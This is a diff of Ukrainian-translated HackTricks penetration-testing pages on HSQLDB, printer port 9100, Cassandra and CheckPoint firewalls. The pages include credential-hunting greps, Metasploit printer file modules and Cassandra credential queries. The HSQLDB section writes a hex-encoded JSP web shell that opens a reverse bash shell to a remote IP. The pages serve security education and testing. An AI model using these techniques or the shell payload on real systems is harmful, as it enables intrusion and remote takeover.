Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити свою **компанію рекламовану на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **і** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв на GitHub.**
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
# Базова інформація
|
||||
# Основна інформація
|
||||
|
||||
**HSQLDB \([HyperSQL DataBase](http://hsqldb.org/)\)** - це провідна SQL реляційна система баз даних, написана на Java. Вона пропонує невеликий, швидкий багатопотоковий та транзакційний двигун баз даних з таблицями у пам'яті та на диску, підтримує вбудований та серверний режими.
|
||||
**HSQLDB \([HyperSQL DataBase](http://hsqldb.org/)\)** є провідною системою реляційних баз даних SQL, написаною на Java. Вона пропонує невеликий, швидкий багатопотоковий та транзакційний механізм бази даних з таблицями в пам'яті та на диску, а також підтримує вбудовані та серверні режими.
|
||||
|
||||
**Порт за замовчуванням:** 9001
|
||||
```text
|
||||
|
@ -25,31 +26,31 @@
|
|||
|
||||
### Налаштування за замовчуванням
|
||||
|
||||
Зверніть увагу, що за замовчуванням цей сервіс, ймовірно, працює в пам'яті або прив'язаний до локального хоста. Якщо ви його знайшли, ймовірно, ви використали інший сервіс і хочете підняти привілеї.
|
||||
Зверніть увагу, що за замовчуванням ця служба, ймовірно, працює в пам'яті або прив'язана до localhost. Якщо ви її знайшли, ви, напевно, експлуатували іншу службу і намагаєтеся підвищити привілеї.
|
||||
|
||||
За замовчуванням облікові дані зазвичай є `sa` з порожнім паролем.
|
||||
Налаштування за замовчуванням зазвичай `sa` з порожнім паролем.
|
||||
|
||||
Якщо ви використали інший сервіс, шукайте можливі облікові дані за допомогою
|
||||
Якщо ви експлуатували іншу службу, шукайте можливі облікові дані, використовуючи
|
||||
```text
|
||||
grep -rP 'jdbc:hsqldb.*password.*' /path/to/search
|
||||
```
|
||||
Зверніть увагу на назву бази даних - вам знадобиться це для підключення.
|
||||
Зверніть увагу на назву бази даних - вона знадобиться для підключення.
|
||||
|
||||
# Збір інформації
|
||||
|
||||
Підключіться до екземпляру БД, [завантаживши HSQLDB](https://sourceforge.net/projects/hsqldb/files/) та розпакувавши `hsqldb/lib/hsqldb.jar`. Запустіть GUI-додаток \(вуу\) за допомогою `java -jar hsqldb.jar` та підключіться до екземпляру, використовуючи виявлені/слабкі облікові дані.
|
||||
Підключіться до екземпляра БД, завантаживши [HSQLDB](https://sourceforge.net/projects/hsqldb/files/) та витягнувши `hsqldb/lib/hsqldb.jar`. Запустіть GUI додаток \(eww\) за допомогою `java -jar hsqldb.jar` і підключіться до екземпляра, використовуючи виявлені/слабкі облікові дані.
|
||||
|
||||
Зверніть увагу, що URL підключення буде виглядати приблизно так для віддаленої системи: `jdbc:hsqldb:hsql://ip/DBNAME`.
|
||||
Зверніть увагу, що URL підключення виглядатиме приблизно так для віддаленої системи: `jdbc:hsqldb:hsql://ip/DBNAME`.
|
||||
|
||||
# Хитрощі
|
||||
|
||||
## Методи мови Java
|
||||
## Рутини мови Java
|
||||
|
||||
Ми можемо викликати статичні методи класу Java з HSQLDB, використовуючи Методи мови Java. Зверніть увагу, що викликаний клас повинен бути в шляху до класів додатка.
|
||||
Ми можемо викликати статичні методи класу Java з HSQLDB, використовуючи рутини мови Java. Зверніть увагу, що викликаний клас повинен бути в класpath програми.
|
||||
|
||||
ММЖ можуть бути `функціями` або `процедурами`. Функції можна викликати через SQL-оператори, якщо метод Java повертає одну або декілька SQL-сумісних примітивних змінних. Їх викликають за допомогою оператора `VALUES`.
|
||||
JRT можуть бути `функціями` або `процедурами`. Функції можна викликати через SQL-інструкції, якщо метод Java повертає одну або кілька SQL-сумісних примітивних змінних. Вони викликаються за допомогою інструкції `VALUES`.
|
||||
|
||||
Якщо метод Java, який ми хочемо викликати, повертає void, нам потрібно використовувати процедуру, яку викликають за допомогою оператора `CALL`.
|
||||
Якщо метод Java, який ми хочемо викликати, повертає void, нам потрібно використовувати процедуру, викликану за допомогою інструкції `CALL`.
|
||||
|
||||
## Читання властивостей системи Java
|
||||
|
||||
|
@ -63,13 +64,13 @@ EXTERNAL NAME 'CLASSPATH:java.lang.System.getProperty'
|
|||
```text
|
||||
VALUES(getsystemproperty('user.name'))
|
||||
```
|
||||
Ви можете знайти [список системних властивостей тут](https://docs.oracle.com/javase/tutorial/essential/environment/sysprop.html).
|
||||
You can find a [list of system properties here](https://docs.oracle.com/javase/tutorial/essential/environment/sysprop.html).
|
||||
|
||||
## Запис вмісту у файл
|
||||
|
||||
Ви можете використовувати Java-гаджет `com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename`, розташований в JDK \(автоматично завантажується в шлях програми\), для запису елементів, закодованих у шістнадцяткову систему, на диск через власну процедуру. **Зверніть увагу на максимальний розмір 1024 байти**.
|
||||
You can use the `com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename` Java gadget located in the JDK \(auto loaded into the class path of the application\) to write hex-encoded items to disk via a custom procedure. **Зверніть увагу на максимальний розмір 1024 байти**.
|
||||
|
||||
Створіть процедуру:
|
||||
Create procedure:
|
||||
```text
|
||||
CREATE PROCEDURE writetofile(IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(1024))
|
||||
LANGUAGE JAVA DETERMINISTIC NO SQL EXTERNAL NAME
|
||||
|
@ -79,16 +80,17 @@ LANGUAGE JAVA DETERMINISTIC NO SQL EXTERNAL NAME
|
|||
```text
|
||||
call writetofile('/path/ROOT/shell.jsp', cast ('3c2540207061676520696d706f72743d226a6176612e696f2e2a2220253e0a3c250a202020537472696e6720636d64203d20222f62696e2f62617368202d69203e26202f6465762f7463702f3139322e3136382e3131392[...]' AS VARBINARY(1024)))
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити свою **компанію рекламовану на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **і** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв на GitHub**.
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,31 +1,32 @@
|
|||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити вашу **компанію рекламовану на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **і** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв на GitHub**.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
# Основна інформація
|
||||
|
||||
З [цього джерела](http://hacking-printers.net/wiki/index.php/Port\_9100\_printing): Сировий друк - це процес підключення до порту 9100/tcp мережевого принтера. Це є методом за замовчуванням, який використовується CUPS та архітектурою друку Windows для спілкування з мережевими принтерами, оскільки вважається "найпростішим, найшвидшим і загалом найнадійнішим мережевим протоколом, що використовується для принтерів". Сировий друк на порті 9100, також відомий як JetDirect, AppSocket або PDL-datastream фактично **не є протоколом друку сам по собі**. Замість цього **всі дані, що надсилаються, безпосередньо обробляються пристроєм друку**, так само, як паралельне підключення через TCP. На відміну від LPD, IPP та SMB, це може надсилати прямий зворотний зв'язок клієнту, включаючи статусні та помилкові повідомлення. Такий **двосторонній канал** надає нам прямий **доступ** до **результатів** команд **PJL**, **PostScript** або **PCL**. Тому сировий друк на порті 9100 - який підтримується майже будь-яким мережевим принтером - використовується як канал для аналізу безпеки з PRET та PFT.
|
||||
З [тут](http://hacking-printers.net/wiki/index.php/Port\_9100\_printing): Сировинний друк - це те, що ми визначаємо як процес підключення до порту 9100/tcp мережевого принтера. Це метод за замовчуванням, який використовує CUPS та архітектура друку Windows для зв'язку з мережевими принтерами, оскільки вважається «_найпростішим, найшвидшим і, загалом, найнадійнішим мережевим протоколом, що використовується для принтерів_». Сировинний друк на порту 9100, також відомий як JetDirect, AppSocket або PDL-datastream, насправді **не є протоколом друку сам по собі**. Натомість **всі дані, що надсилаються, безпосередньо обробляються друкуючим пристроєм**, так само, як і паралельне з'єднання через TCP. На відміну від LPD, IPP та SMB, це може надсилати прямий зворотний зв'язок клієнту, включаючи статус і повідомлення про помилки. Такий **двосторонній канал** надає нам прямий **доступ** до **результатів** команд **PJL**, **PostScript** або **PCL**. Тому сировинний друк на порту 9100 – який підтримується майже будь-яким мережевим принтером – використовується як канал для аналізу безпеки з PRET та PFT.
|
||||
|
||||
Якщо ви хочете дізнатися більше про [**хакінг принтерів, прочитайте цю сторінку**](http://hacking-printers.net/wiki/index.php/Main_Page).
|
||||
Якщо ви хочете дізнатися більше про [**зламування принтерів, прочитайте цю сторінку**](http://hacking-printers.net/wiki/index.php/Main_Page).
|
||||
|
||||
**Порт за замовчуванням:** 9100
|
||||
```
|
||||
9100/tcp open jetdirect
|
||||
```
|
||||
# Перелік
|
||||
# Перерахування
|
||||
|
||||
## Ручний
|
||||
## Вручну
|
||||
```bash
|
||||
nc -vn <IP> 9100
|
||||
@PJL INFO STATUS #CODE=40000 DISPLAY="Sleep" ONLINE=TRUE
|
||||
|
@ -57,7 +58,7 @@ msf> use auxiliary/scanner/printer/printer_download_file
|
|||
msf> use auxiliary/scanner/printer/printer_upload_file
|
||||
msf> use auxiliary/scanner/printer/printer_delete_file
|
||||
```
|
||||
## Інструмент для взлому принтерів
|
||||
## Інструмент для зламу принтерів
|
||||
|
||||
Це інструмент, який ви хочете використовувати для зловживання принтерами:
|
||||
|
||||
|
@ -68,16 +69,17 @@ msf> use auxiliary/scanner/printer/printer_delete_file
|
|||
* `pjl port:9100`
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
Вчіться та практикуйте Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вчіться та практикуйте Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити вашу **компанію рекламовану в HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв GitHub.
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Діліться трюками зламу, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,24 +1,25 @@
|
|||
# 9042/9160 - Втручання в Cassandra
|
||||
# 9042/9160 - Pentesting Cassandra
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчіть хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити вашу **компанію рекламовану на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **і** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв на GitHub**.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Основна інформація
|
||||
## Basic Information
|
||||
|
||||
**Apache Cassandra** - це **високомасштабована**, **високопродуктивна** розподілена база даних, призначена для роботи з **великими обсягами даних** на багатьох **комерційних серверах**, забезпечуючи **високу доступність** без **одного точки відмови**. Це тип **бази даних NoSQL**.
|
||||
**Apache Cassandra** є **високошвидкісною**, **високопродуктивною** розподіленою базою даних, розробленою для обробки **великих обсягів даних** на багатьох **комерційних серверах**, забезпечуючи **високу доступність** без **однієї точки відмови**. Це тип **NoSQL бази даних**.
|
||||
|
||||
У декількох випадках можна виявити, що Cassandra приймає **будь-які облікові дані** (оскільки вони не налаштовані), що потенційно може дозволити зловмиснику **перелічити** базу даних.
|
||||
У кількох випадках ви можете виявити, що Cassandra приймає **будь-які облікові дані** (оскільки вони не налаштовані) і це може потенційно дозволити зловмиснику **перерахувати** базу даних.
|
||||
|
||||
**Порт за замовчуванням:** 9042,9160
|
||||
```
|
||||
|
@ -26,7 +27,7 @@ PORT STATE SERVICE REASON
|
|||
9042/tcp open cassandra-native Apache Cassandra 3.10 or later (native protocol versions 3/v3, 4/v4, 5/v5-beta)
|
||||
9160/tcp open cassandra syn-ack
|
||||
```
|
||||
## Перелік
|
||||
## Перерахування
|
||||
|
||||
### Вручну
|
||||
```bash
|
||||
|
@ -43,9 +44,9 @@ SELECT * from logdb.user_auth; #Can contain credential hashes
|
|||
SELECT * from logdb.user;
|
||||
SELECT * from configuration."config";
|
||||
```
|
||||
### Автоматизовано
|
||||
### Автоматизоване
|
||||
|
||||
Тут немає багато варіантів, і nmap не отримує багато інформації
|
||||
Тут не так багато варіантів, і nmap не отримує багато інформації.
|
||||
```bash
|
||||
nmap -sV --script cassandra-info -p <PORT> <IP>
|
||||
```
|
||||
|
@ -53,19 +54,20 @@ nmap -sV --script cassandra-info -p <PORT> <IP>
|
|||
|
||||
### **Shodan**
|
||||
|
||||
`port:9160 Кластер`\
|
||||
`port:9042 "Недопустимая или не поддерживаемая версия протокола"`
|
||||
`port:9160 Cluster`\
|
||||
`port:9042 "Invalid or unsupported protocol version"`
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Підтримати HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити вашу **компанію рекламовану в HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **і** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв на GitHub.**
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,28 +1,29 @@
|
|||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити **рекламу вашої компанії на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **і** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв на GitHub**.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
Можливо взаємодіяти з брандмауерами **CheckPoint Firewall-1**, щоб виявити цінну інформацію, таку як назва брандмауера та назва станції управління. Це можна зробити, відправивши запит на порт **264/TCP**.
|
||||
Можливо взаємодіяти з **CheckPoint** **Firewall-1** брандмауерами, щоб виявити цінну інформацію, таку як ім'я брандмауера та ім'я станції управління. Це можна зробити, надіславши запит на порт **264/TCP**.
|
||||
|
||||
### Отримання назв брандмауера та станції управління
|
||||
### Отримання імен брандмауера та станції управління
|
||||
|
||||
За допомогою запиту перед аутентифікацією ви можете виконати модуль, який спрямований на **CheckPoint Firewall-1**. Нижче наведено необхідні команди для цієї операції:
|
||||
Використовуючи запит перед аутентифікацією, ви можете виконати модуль, який націлений на **CheckPoint Firewall-1**. Необхідні команди для цієї операції наведені нижче:
|
||||
```bash
|
||||
use auxiliary/gather/checkpoint_hostname
|
||||
set RHOST 10.10.10.10
|
||||
```
|
||||
Після виконання модуль намагається зв'язатися зі службою топології SecuRemote брандмауера. У разі успіху підтверджується наявність брандмауера CheckPoint та отримуються імена як брандмауера, так і хоста управління SmartCenter. Ось приклад того, як може виглядати вивід:
|
||||
При виконанні модуль намагається зв'язатися з сервісом SecuRemote Topology брандмауера. Якщо успішно, він підтверджує наявність брандмауера CheckPoint і отримує імена як брандмауера, так і хоста управління SmartCenter. Ось приклад того, як може виглядати вихідні дані:
|
||||
```text
|
||||
[*] Attempting to contact Checkpoint FW1 SecuRemote Topology service...
|
||||
[+] Appears to be a CheckPoint Firewall...
|
||||
|
@ -32,11 +33,11 @@ set RHOST 10.10.10.10
|
|||
```
|
||||
### Альтернативний метод виявлення імені хоста та ICA
|
||||
|
||||
Ще одна техніка передбачає пряму команду, яка відправляє конкретний запит на брандмауер та аналізує відповідь для витягування імені хоста та ICA. Команда та її структура виглядають наступним чином:
|
||||
Інша техніка передбачає прямий командний запит, який надсилає специфічний запит до брандмауера та аналізує відповідь для витягнення імені хоста брандмауера та імені ICA. Команда та її структура виглядають так:
|
||||
```bash
|
||||
printf '\x51\x00\x00\x00\x00\x00\x00\x21\x00\x00\x00\x0bsecuremote\x00' | nc -q 1 10.10.10.10 264 | grep -a CN | cut -c 2-
|
||||
```
|
||||
Вивід цієї команди надає детальну інформацію щодо імені сертифіката брандмауера (CN) та організації (O), як показано нижче:
|
||||
Вихід з цієї команди надає детальну інформацію щодо імені сертифіката брандмауера (CN) та організації (O), як показано нижче:
|
||||
```text
|
||||
